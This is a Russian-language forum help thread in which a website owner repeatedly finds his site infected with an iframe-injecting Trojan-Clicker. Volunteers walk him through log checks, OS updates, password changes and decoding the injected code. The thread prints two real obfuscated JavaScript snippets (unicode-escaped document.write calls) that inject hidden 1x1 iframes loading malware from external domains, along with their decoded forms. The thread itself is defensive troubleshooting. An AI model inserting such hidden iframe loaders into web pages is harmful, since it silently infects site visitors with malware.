На сайте вирус Trojan-Clicker.HTML.IFrame.cu

[Bratez]

Теперь компьютер чист, пароль поменян - значит, осталось очистить сайт от вредоносного кода и все должно стать хорошо

[Alex_Goodwin]

И после очистки сайта можно сделать контрольные логи.

[Sokil]

Сайт вроде почистил, пароль поменял, сделал контрольные логи.
Зашел что бы их отправить, дай-ка думаю загляну на сайт - ВИРУС!
Я вам наверное уже поднадоел.
Опять диск что ли отформатировать?
И опускать руки не хочется, но что делать уже не знаю и уже просто нет веры в успех.
Вложение 41506

Вложение 41507

Вложение 41508

[V_Bond]

в логах ничего подозрительного ...
но вот этого достаточно что бы воровать ваши пароли три раза в день ....
Platform: Windows XP SP1 (WinNT 5.01.2600)

[Sokil]

Прошу прощения, а что это значит?

[V_Bond]

это значит что дырявый сп1 давно обновить ... иначе это никогда не прекратится ...

[Sokil]

понял, спасибо, завтра этим и займусь

[Sokil]

Вчера форматнул диск, поставил SP2, перезалил зараженные файла на сайт, сменил пароль и сегодня все по-прежнему - Вирус!
Может он где-то там в файлах сидит и как-то самоустанавливается в индексовые файлы?
Какие еще версии, уважаемые знатоки?

[Bratez]

Чтобы окончательно снять подозрения с вашего компьютера, надо сделать комплект логов на вашей новой системе. Как раз на днях свежая версия AVZ вышла - 4.30, скачайте, сделайте - посмотрим.

[Sokil]

Может мне сделать архив базы и свалисть к другому хостеру?
Будет ли это выходом?

Добавлено через 6 минут

Ок, скачаю обязательно (сейчас что-то не пускает) и выложу логи.

[Sokil]

Вот они мои логи.
По-моему все чисто.

[Sokil]

хоть буркните что-нибудь!
..........ПОЖАЛУЙСТА!............

[V_Bond]

естественно ничего зловредного не видно ...

[akok]

Ну ладно раз идей нет, выскажусь.
На сайте закладки много

<script type="text/javascript">
document.write('\u003c\u0069\u0066\u0072\u0061\u00 6d\u0065\u0020\u0073\u0072\u0063\u003d\u0068\u0074 \u0074\u0070\u003a\u002f\u002f\u0061\u0074\u006f\u 006d\u0061\u006b\u0061\u0079\u0061\u006e\u002e\u00 62\u0069\u007a\u002f\u0061\u0066\u0074\u0065\u0072 \u0066\u0074\u0070\u0063\u0068\u0065\u006b\u002f\u 0032\u0036\u0030\u0033\u002f\u0069\u006e\u0064\u00 65\u0078\u002e\u0070\u0068\u0070\u0020\u0077\u0069 \u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u 0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u00 74\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073 \u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u 0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u00 61\u006d\u0065\u003e');
</script>

Которые расшифровываются как

<iframe src=:http://ato****yan.biz/afterftpchek/2603/index.php width=1 height=1 style="display:none"></iframe>

А там сидит тот Trojan-Clicker.HTML.IFrame.mq возможно версии будут обновляться...это проблема "аффтара" который "рулит" источником заражения.

Почистите и установите сложный пароль.

Возможно это Ваш случай.

Добавлено через 5 минут

Учетная запись администратора переименнована и запороленна? Наличие расшар или доступ к компьютеру других лиц? Наличие хорошего фаервола?

[Sokil]

Спасибо, akoK!
Наконец-то мы сдвинулись и в правильном направлении.
Т.е., правильно ли я понял, что в страницах присутствует вышеприведенный зловредный код, который нужно вычистить.
Но не совсем пойму следующее предложение: "это проблема "аффтара" который "рулит" источником заражения."
Проблема эта моя, не отрицаю, но почему я "рулю" источником заражения???
Меня уже перечистили и перепроверили неоднократно.
Файервол еще не поставил. Пытался читать, но еще не определился - выбор слишком большой.
Расшар и доступа других лиц нет. Пароль ставлю всегда сложный.

Добавлено через 17 минут

Да, действительно вышеприведенный код был во всех страницах в корневом каталоге.
Почистил, меняю пароль и выбираю файервол.

[Bratez]

Т.е., правильно ли я понял, что в страницах присутствует вышеприведенный зловредный код, который нужно вычистить.

А-а, дак вы это еще не сделали??
Я же говорил об этом еще в сообщении #41.

Но не совсем пойму следующее предложение: "это проблема "аффтара" который "рулит" источником заражения."
Проблема эта моя, не отрицаю, но почему я "рулю" источником заражения???

Речь там о возможных обновлениях трояна, "аффтар" - не вы, а тот, кто содержит сайт, указанный в коде iframe, с которого грузится этот троян .

[Sokil]

Я делал это постоянно в тех файлах, которые мне советовал разработчик.
А сегодня обнаружил это во всех

[Sokil]

И снова здравствуйте!
Почистил все страницы вручную, сменил пароль, но помогло ненадолго.
На главной странице периодически вставляетчя вот такой код:
<!-- o --><script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d \u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0074\u 0072\u0061\u0066\u0066\u0075\u0072\u006c\u002e\u00 72\u0075\u002f\u0073\u006c\u0069\u0076\u002f\u0069 \u006e\u0064\u0065\u0078\u002e\u0070\u0068\u0070\u 0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u00 20\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031 \u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u 0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u00 6e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069 \u0066\u0072\u0061\u006d\u0065\u003e');</script><!-- c -->
Откуда бьет?
Файервол пока не поставил, но что-то мне не сильно верится, что все дело в этом.
Причем, что интересно - хостится у меня там же еще один сайт, но там все чисто.
Осознанная целенаправленная атака.
Если я вам поднадоел - скажите не стесняйтесь - даже не обижусь.
Просто мне кажется, что вам, как проффесионалам должно быть интересно, а мне полезно.
От нашего с вами общения.
Спасибо.

[akok]

Который расшифровываеться как

<ifu00 72ame src= http://tu ****affurl.u00 72u/sliv/i ndex.phpu 0020width=1u00 20height=1  style="u 0064isplay:u00 6eone"></i frame>

Прочитайте последний абзац в документе ссылку на который я Вам давал в посте №54.

[Sokil]

Приветствую, Вас, господа!
Прочел я этот документ, со второго раза понял там намного больше, но честно говоря, где в Винде устаналиваются эти параметры я не знаю, а спрашивать у Вас наверное неуметно - это мне уже в другой форум.
Я решил поступить иначе.
Если это действительно программой-сниппером меня "сканят", то если пароль поменяю не я, то соответственно скань меня сколько влезит, а пароль не узнаешь.
Логично?
Сегодня я в очередной раз вычистил вручную код и попросил хостеров сменить мне пароль и выслать его почтой.
И что Вы думаете?
Хватило на пару-тройку часов.
Хочу понять где же "дыра". Сократить угол обстрела, так сказать.
Компьютер мой уже исключается полностью.
Ну не читают же они всю мою корреспонденцию!!!...
Поменять хостера?
Возни прилично, а решит ли это проблему?
Ну на кого еще думать?
Даже Вы вне подозрения!